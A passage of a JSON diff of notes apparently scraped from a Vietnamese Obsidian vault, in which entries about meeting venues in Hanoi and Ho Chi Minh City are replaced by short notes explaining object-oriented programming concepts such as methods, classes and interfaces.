"https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội/Hà Nội", + "Tiêu đề": "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Hàm giúp ta làm một công việc nào đó. Công việc đó có thể liên quan tới một vật thể hoặc không. Còn phương thức chắc chắn phải làm những công việc liên quan tới một vật thể cụ thể. [[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]. \n\nVí dụ, bạn có một rổ trái cây:\n![|300](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/A_basket_of_fruits.jpg/600px-A_basket_of_fruits.jpg)\n\nBạn muốn cân khối lượng từng quả, nên bạn viết một **phương thức** `cân_nặng()` giúp bạn cân chúng:\n\n```python\ntáo.cân_nặng() # Kết quả: 30g\nchuối.cân_nặng() # Kết quả: 40g\nlê.cân_nặng() # Kết quả: 50g\n```\n\nBạn thấy, dù phương thức `cân_nặng()` không thay đổi, nhưng đối với mỗi một loại trái cây khác nhau sẽ cho một kết quả khác nhau. Phương thức này phải gắn lên một đối tượng cụ thể nào đó để có tác dụng. Bạn phải không thể cân không gì cả được. \n\nTrong khi đó, nếu bạn muốn biết ngày hôm nay là ngày gì, bạn chỉ cần dùng **hàm** `xem_ngày()`:\n\n```python\nxem_ngày() # Kết quả: \"ngày 32 tháng 13 năm 12023\" \n```\n\nBạn thấy là công việc `xem_ngày()` này không phụ thuộc vào vật thể nào. Dù bạn quyết định là sẽ ăn táo hay ăn lê thì kết quả cũng không thay đổi. Dù bạn không có vật thể nào bạn vẫn có thể xem ngày được. \n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T10:43:00.000Z", - "id": "T1" + "Ngày tạo": "2023-06-09T04:16:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TF" }, { - "Tiêu đề": "Nơi gặp mặt trực tiếp", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Nơi gặp mặt trực tiếp", + "Tiêu đề": "Lớp là một cái khuôn để tạo các vật thể cho nhanh", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Lớp/Lớp là một cái khuôn để tạo các vật thể cho nhanh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Các loại địa điểm gặp mặt\n- Địa điểm công cộng\n- Không gian làm việc chung\n- Phòng họp riêng\n- Quán có phòng riêng\n- Quán không có phòng riêng\n- Nhà riêng\n\n## Sự mặc định về các thuộc tính\nVì đây là cho việc gặp mặt để thảo luận, nên sẽ xét về những thứ mà một cuộc thảo luận đòi hỏi, cùng với mặc định về không gian mà cuộc thảo luận sẽ diễn ra ở đó.\n\n- Những thuộc tính được xem là **điểm cộng** khi ta không mặc định là nó luôn có ở đó. Có thì tốt, không có thì thường là không sao. Nên với những thuộc tính này, nếu địa điểm đó có thì sẽ liệt kê ra, còn nếu không thì sẽ không nói gì\n- Những thuộc tính được xem là **điểm trừ** khi ta mặc định là nó luôn có ở đó. Nếu không có thì thường là có sao. Nên với những thuộc tính này, nếu địa điểm đó không có thì sẽ có cảnh báo, còn nếu có thì sẽ không nói gì\n\n### Những thuộc tính mặc định là luôn có\nCác thuộc tính này nếu không có thì là điểm trừ:\n- [x] Nhà vệ sinh\n- [x] Xe lăn tiếp cận được\n- [x] Không có loa làm ồn\n- [x] Không cần đặt chỗ trước\n- [x] Không có đèn nhấp nháy hoặc quảng cáo động\n- [x] Giá đã bao gồm thuế\n\n### Những thuộc tính mặc định là không có\nCác thuộc tính này nếu có thì là điểm cộng:\n- [x] Nằm la liệt được\n- [x] Không gian ngoài trời\n- [x] Có đàn hoặc sân khấu nhỏ\n- [x] Nuôi chó mèo\n- [x] Webcam\n\n### Những thuộc tính mà sự mặc định tuỳ vào loại địa điểm\nVới **không gian ngoài trời** thì mặc định là không có, nếu có thì là điểm cộng. Với các loại hình khác thì mặc định là luôn có, nếu không có thì là điểm trừ:\n- [x] Wifi \n- [x] Ổ điện\n- [x] Bàn đúng kích thước làm việc\n- [x] Không có khói thuốc lá\n\nVới **phòng họp riêng** hoặc **quán có phòng riêng** thì mặc định là luôn có, nếu không có thì là điểm trừ. Với những loại hình khác thì mặc định là không có, nếu có thì là điểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Máy chiếu\n- [x] Loa \n- [x] Mic (không phải là điểm trừ với phòng 20 người trở xuống)\n- [x] Bảng và bút lông\n- [x] Không bị ồn từ bên ngoài\n\n## Tiêu chí thêm vào danh sách\n- Có chính sách hỗ trợ các dự án phi lợi nhuận, hoặc có lợi ích cho người làm phi lợi nhuận (VD: gần nhà nhau, có người quen)\n- Được đề xuất trong nơi thảo luận, hoặc tạo PR trên GitHub\n- Có điểm cộng khác lạ\n\n## Cách thông tin được ghi chú\nVới các **quán nước**, giá nước sẽ là giá món đắt nhất trong 5 món rẻ nhất. Lý do là vì một người muốn tiết kiệm vẫn có thể sẵn sàng mua một thứ đắt hơn thứ rẻ nhất một chút. Trong các bảng so sánh thì giá sẽ bằng tổng của giá nước và giá giữ xe.\n\nCác **quán có phòng riêng** thu tiền bằng việc bán nước cho khách, nên cơ bản là họ cũng không có giá phòng, mà chỉ có giá nước. Điều này khiến cho quán ràng buộc số lượng người đi tối thiểu để được mượn phòng. Cộng với việc người tổ chức quan tâm xem có phòng nào đủ cho sự kiện hay không, trường `Số lượng` sẽ được ghi dưới dạng sau:\n```\nSố lượng:: sốLượngTốiThiểuCủaPhòngNhỏNhất - sốLượngTốiĐaCủaPhòngLớnNhất\n```\n\nTất nhiên, bạn đi ít hơn nhưng mua thêm ly thì cũng không sao. Nếu chỉ có một số thì mặc định sẽ là số lượng tối đa của phòng lớn nhất.\n\nCác **dịch vụ cho thuê phòng họp**, khác với các quán nước, thu tiền từ người tổ chức. Bạn thuê phòng lớn nhất nhưng chỉ đến một mình họ cũng không quan tâm. Nên chỉ cần tạo một bảng giá theo số lượng tối đa của phòng là đủ.\n\nKhi một địa điểm có điểm cộng thì ghi đơn giản là *Điểm cộng*, nhưng khi nó có điểm trừ thì lại không ghi là *Điểm trừ*, mà ghi là *Lưu ý*. Bởi vì từ \"điểm trừ\" tạo cảm giác không thay đổi được, chắc chắn sẽ tạo ra vấn đề, còn từ \"lưu ý\" thì tạo cảm giác tuỳ nhu cầu của mỗi người, có người quan tâm nhiều có người quan tâm ít. Nó cũng tạo cảm giác có thể có cách xử lý (dù tất nhiên không phải xử lý gì thì cũng tốt hơn).\n\n## Các xử lý kỹ thuật\nCác điểm cộng sẽ được ghi ở thể khẳng định và ở định dạng ô chọn (checkbox). Các điểm trừ sẽ được ghi ở thể phủ định và ở định dạng chấm đầu dòng (bullet). Việc này không những để phù hợp với việc ô chọn thường dùng cho những điều cần có, còn chấm đầu dòng thì thường dùng cho những điểm cần lưu ý, mà còn dễ để xử lý trong Dataview hơn. \n\nMẫu tạo mới (template) sẽ liệt kê hết tất cả điểm cộng và điểm trừ, khi áp dụng bạn thấy cái nào sai thì xoá đi. Việc thấy sai thì dễ hơn là nhớ xem mình còn thiếu cái nào, và việc xoá đi thì dễ hơn là viết vào (chỉ cần bấm <kbd>Ctrl+Shift+K</kbd>). Các mẫu tạo mới cho những loại hình khác nhau sẽ khác nhau, vì ở đó có những điểm không bao giờ xảy ra, nên có thể bỏ luôn. Ví dụ, ta có thể yên tâm là vào quán thì luôn có nhà vệ sinh, wifi và ổ điện, hoặc vào phòng họp riêng thì luôn có bàn đúng kích thước làm việc và không có không gian ngoài trời.\n\nCũng chính vì như vậy, nên sẽ có những điểm cộng, điểm trừ không chính xác, khi người tạo không có thời gian để tìm hiểu kỹ. Nhược điểm của hướng tiếp cận thà giết nhầm còn hơn bỏ sót, tất nhiên, là sẽ có lúc giết nhầm. Trong tương lai khi viết được language server cho việc này thì sẽ không cần phải làm vậy nữa.\n\nĐể có thể điều chỉnh bảng so sánh, bạn cần [[Hướng dẫn tải kho|tải kho về máy]].\n\n## Nơi thảo luận\n![](https://i.imgur.com/ds6m65A.png)", + "Toàn bộ nội dung": "![](http://pytolearn.csd.auth.gr/p0-py/00/classcar.png) \nNguồn:: [pytypes](http://pytolearn.csd.auth.gr/p0-py/00/pytypes.html)\n\n[[Hoạt động trung tâm của lập trình hướng vật thể là phân loại]] \nTương tự, [[Giao diện là cái khuôn của phương thức]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T08:06:00.000Z", - "Ngày cập nhật": "2024-08-29T04:51:00.000Z", - "id": "T2" + "Ngày tạo": "2023-06-10T13:48:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TG" }, { - "Tiêu đề": "Căn tin bệnh viện", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/Căn tin bệnh viện", + "Tiêu đề": "API là giao diện của một chương trình", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/API là giao diện của một chương trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "=địa chỉ", - "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n\nĐiểm cộng:\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T10:00:00.000Z", - "Ngày cập nhật": "2024-08-24T08:20:00.000Z", - "id": "T3" + "Ngày tạo": "2023-06-11T06:42:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TH" }, { - "Tiêu đề": "Không gian làm việc chung ở TPHCM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/Không gian làm việc chung", + "Tiêu đề": "Giao diện", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/Giao diện", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Không bị ồn từ bên ngoài:: ✔\nNhà vệ sinh:: ✔\nMáy chiếu:: ✔\nĐược nói to:: ✔\nBàn phù hợp cho việc dùng laptop:: ✔\nCó thể vận động cơ thể:: ✔\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Không gian làm việc chung ở TPHCM\"\nWhere file.name!=this.file.name\n```\n### \n\n[Review Co-working Space](https://www.facebook.com/groups/1773972416068355)", + "Toàn bộ nội dung": "Một cách đại khái, [interface](https://tuhocict.com/lesson/cai-tien-data-acceess-su-dung-interface/) là một giao kèo giữa bên sử dụng và bên thực thi class. Cụ thể hơn, [interface](https://tuhocict.com/giai-phap-winforms-3-interface-loose-coupling/) chứa các mô tả về phương thức và thuộc tính mà bên thực thi class phải xây dựng. Bên sử dụng thì không cần quan tâm đến cách thức xây dựng này.\n\nLấy một ví dụ khác. Giả sử đèn điện nhà bạn lắp toàn loại đui xoáy. Nếu bạn cần mua bóng đèn, có vô số loại khác nhau, từ đèn sợi đốt đến đèn huỳnh quang, từ hình vuông đến hình tròn. Nhưng chỉ cần nó là đui xoáy thì bạn đều có thể sử dụng được.\n\nKhi so ra, đui xoáy ở đây chính là một dạng interface, là “giao kèo” giữa người sử dụng bóng đèn và người sản xuất bóng đèn. Người sản xuất chỉ cần đảm bảo “đui xoáy” cho bóng mình làm ra. Người sử dụng thì không cần quan tâm đến cách thức làm ra bóng đèn, miễn sao có đui xoáy là được.\n\nInterface khi đó được bên sử dụng xem như một kiểu dữ liệu. Biến của kiểu dữ liệu này có thể tương thích với bất kỳ object nào tạo ra từ class thực thi giao diện tương ứng.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T08:19:00.000Z", - "id": "T4" + "Ngày tạo": "2023-07-21T15:43:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TI" }, { - "Tiêu đề": "Phòng tự học của các trường đại học", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/Phòng tự học của các trường đại học", + "Tiêu đề": "Package và library là những cái tên khác nhau cho cùng một thứ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/Package và library là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Không có wifi\n\nĐiểm cộng:\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời\n", + "Toàn bộ nội dung": "- Mô đun (module): tập tin `.py`\r\n- Thư viện (library), gói (package): thư mục chứa nhiều mô đun liên quan\r\n- Framework: chủ yếu vào cách tư duy mới\r\nNguồn:: ![CS50P - Lecture 4 - Libraries - YouTube](https://youtu.be/MztLZWibctI)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T09:59:00.000Z", - "Ngày cập nhật": "2024-08-24T08:30:00.000Z", - "id": "T5" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TJ" }, { - "Tiêu đề": "SiHub", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/SiHub", + "Tiêu đề": "JSON là cách để biểu diễn vật thể ra chữ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/JSON là cách để biểu diễn vật thể ra chữ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "=địa chỉ", - "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: 0\nƯu đãi giá:: Miễn phí đối với những sự kiện mang tính chất kết nối, xây dựng cộng đồng về khởi nghiệp đổi mới sáng tạo\nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n\n[ĐĂNG KÝ KHÔNG GIAN TỔ CHỨC SỰ KIÊN TẠI SAIGON INNOVATION HUB](https://docs.google.com/forms/d/e/1FAIpQLSfz1lomgDat1vvczqrvg-Tj6ZynGXVcZj-Ln82GmJEm8t7E8w/viewform)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T09:23:00.000Z", - "id": "T6" + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TK" }, { - "Tiêu đề": "Cái Tổ Nhỏ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Cái Tổ Nhỏ", + "Tiêu đề": "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "193/31 Nguyễn Đình Chính, Phú Nhuận", - "Toàn bộ nội dung": "Địa chỉ:: 193/31 Nguyễn Đình Chính\nQuận:: Phú Nhuận\nGiá:: \nƯu đãi giá:: \nSố người tối thiểu:: 5\nSố người tối đa:: 20\n \nGiá giữ xe:: \nLiên hệ:: 0987 076901\nWebsite:: [Trang chủ | Cai To Nho | Việt Nam](https://www.caitonho.com/)\nFacebook:: [Cái Tổ Nhỏ | Ho Chi Minh City | Facebook](https://www.facebook.com/caitonho)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nNhững thứ không có trong mặc định\n- [ ] Bàn đúng kích thước làm việc\n- [?] Webcam \n- [?] Loa và mic\n\n[[📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Phòng họp riêng|Danh sách những thứ mặc định và có, và so sánh với những địa điểm khác]]\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.2395642761103!2d106.67150427511754!3d10.79295505888845!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3175292af75492d1%3A0x91738ba3c251021a!2zQ8OhaSBU4buVIE5o4buP!5e0!3m2!1sen!2s!4v1724399662438!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T11:01:00.000Z", - "id": "T7" + "Ngày tạo": "2023-06-10T13:48:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TL" }, { - "Tiêu đề": "Phòng họp riêng ở TPHCM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Phòng họp riêng", + "Tiêu đề": "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataviewjs\nconst dsTrường = [\n ]\nconst dsCột = [\n \"Địa điểm\",\n \"Số người tối đa\", \n \"Giá\", \n \"Giờ mở cửa\", \n \"Ghi chú\", \n \"Địa chỉ\",\n \"Khác so với mặc định\"\n]\n\nfunction tạoĐịaChỉ(địaĐiểm) {\n const {\"Địa chỉ\": địaChỉ, quận } = địaĐiểm\n switch (typeof quận) {\n case 'number':\n return `${địaChỉ}, Q${quận}`\n default:\n return `${địaChỉ}, ${quận}`\n }\n}\n\nfunction tạoGiờMởCửa(địaĐiểm) {\n const {\"Giờ mở cửa\": giờMởCửa, \"Giờ đóng cửa\": giờĐóngCửa} = địaĐiểm\n if (typeof giờĐóngCửa === \"string\") return `${giờMởCửa} – ${giờĐóngCửa}`\n}\n\nfunction tạoDsKhácMặcĐịnh(địaĐiểm){\n const dsKhácMặcĐịnh = địaĐiểm.file.lists.filter(i=>i.header.subpath === \"Những thứ không có trong mặc định\")\n const dsCó = dsKhácMặcĐịnh.filter(i=>i.status === \"x\").map(i=>i.text).join(\", \")\n const dsKhông = dsKhácMặcĐịnh.filter(i=>i.checked === false).map(i=>i.text).join(\", \")\n if (dsCó && dsKhông) return `❌${dsKhông}, ✔${dsCó}`\n if (!dsCó && dsKhông) return `❌${dsKhông}`\n if (dsCó && !dsKhông) return `✔${dsCó}`\n}\n\nfunction tạoHàng(địaĐiểm) {\n const dsThuộcTính = []\n for (const cột of dsCột){\n switch (cột) {\n case \"Địa điểm\":\n dsThuộcTính.push(địaĐiểm.file.link)\n break \n case \"Địa chỉ\":\n dsThuộcTính.push(tạoĐịaChỉ(địaĐiểm))\n break \n case \"Giờ mở cửa\":\n dsThuộcTính.push(tạoGiờMởCửa(địaĐiểm))\n break \n case \"Khác so với mặc định\":\n dsThuộcTính.push(tạoDsKhácMặcĐịnh(địaĐiểm))\n break \n default:\n dsThuộcTính.push(địaĐiểm[cột])\n }\n }\n return dsThuộcTính\n}\n\nfunction tạoKếtQuả() {\n return dv.pages(`\"${dv.current().file.folder}\"`)\n .filter(địaĐiểm => địaĐiểm.file.name !== dv.current().file.name)\n .sort(địaĐiểm => địaĐiểm.giá)\n .map(địaĐiểm => tạoHàng(địaĐiểm));\n}\n\ndv.table(dsCột, tạoKếtQuả())\n```", + "Toàn bộ nội dung": "Phần giao tiếp (interface) đó sẽ gồm các phương thức. [[Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó]]\nNguồn::![YouTube](https://youtu.be/KyTUN6_Z9TM)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-18T04:21:00.000Z", - "Ngày cập nhật": "2024-08-24T07:53:00.000Z", - "id": "T8" + "Ngày tạo": "2023-06-10T13:35:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TM" }, { - "Tiêu đề": "Phòng sinh hoạt chung cư GoldView", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Phòng sinh hoạt chung cư GoldView", + "Tiêu đề": "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Tầng 5, chung cư The GoldView, 346 Bến Vân Đồn", - "Toàn bộ nội dung": "Địa chỉ:: 346 Bến Vân Đồn (tầng 5)\nQuận:: 4\nSố người tối thiểu:: \nSố người tối đa:: 50\nGiá:: 0\n \nGiá giữ xe:: 5k\nLiên hệ:: https://www.facebook.com/quacau.sphere/\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa:: 21:30\nGhi chú:: Chỉ được mượn 1 lần/tháng. Cọc 1tr. Trả cọc sau 3 ngày\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.718638602646!2d106.68929217511733!3d10.756154159567224!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f8a42f114ef%3A0x95ae0451733a83f5!2sThe%20Gold%20View!5e0!3m2!1sen!2s!4v1724399988785!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T07:59:00.000Z", - "id": "T9" + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TN" }, { - "Tiêu đề": "UAC", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Tối đa 10 người/UAC", + "Tiêu đề": "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "56 Nguyễn Đình Chiểu, Q1", - "Toàn bộ nội dung": "Địa chỉ:: 56 Nguyễn Đình Chiểu, Q1\nGiá:: 0\nSố người tối thiểu:: \nSố người tối đa:: 4, 20\n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: https://www.facebook.com/UAC.VN/posts/pfbid0yyg5SVQWE4pJYV86QaDuawDhw4vXtLS6NXfvkGNFJnzRz57GqHD3cMp6dG8BDW2dl\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Chỉ trống phòng vào thứ 3 hàng tuần, vì thứ 4, 5, 6 đều có thi IELTS. Cần đăng ký làm thành viên\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.2860546265697!2d106.6975110751176!3d10.789389258954328!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x317529b9df7f1dd7%3A0xde7193c174c6dfc4!2sUniversity%20Access%20Centre%20Vi%E1%BB%87t%20Nam!5e0!3m2!1sen!2s!4v1724399872524!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", + "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\n[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]] aa aaa aa aa\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-18T04:21:00.000Z", - "Ngày cập nhật": "2024-08-24T13:52:00.000Z", - "id": "TA" + "Ngày tạo": "2023-06-09T04:16:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TO" }, { - "Tiêu đề": "Vẫn đang suy nghĩ space", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Tối đa 10 người/Vẫn đang suy nghĩ space", + "Tiêu đề": "Vật thể được tạo nên bởi những thuộc tính", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Vật thể được tạo nên bởi những thuộc tính", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Tầng 6, 73 Cao Thắng, Q3", - "Toàn bộ nội dung": "Địa chỉ:: Tầng 6, 73 Cao Thắng, Q3\nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: [Vẫn đang suy nghĩ space | Ho Chi Minh City | Facebook](https://www.facebook.com/stillthinkingspace)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n- Không có loa\n\nĐiểm cộng:\n- [x] Nằm la liệt được\n", + "Toàn bộ nội dung": "Khái niệm:: [[Vật thể]]\n", "Định dạng nội dung": "md" }, 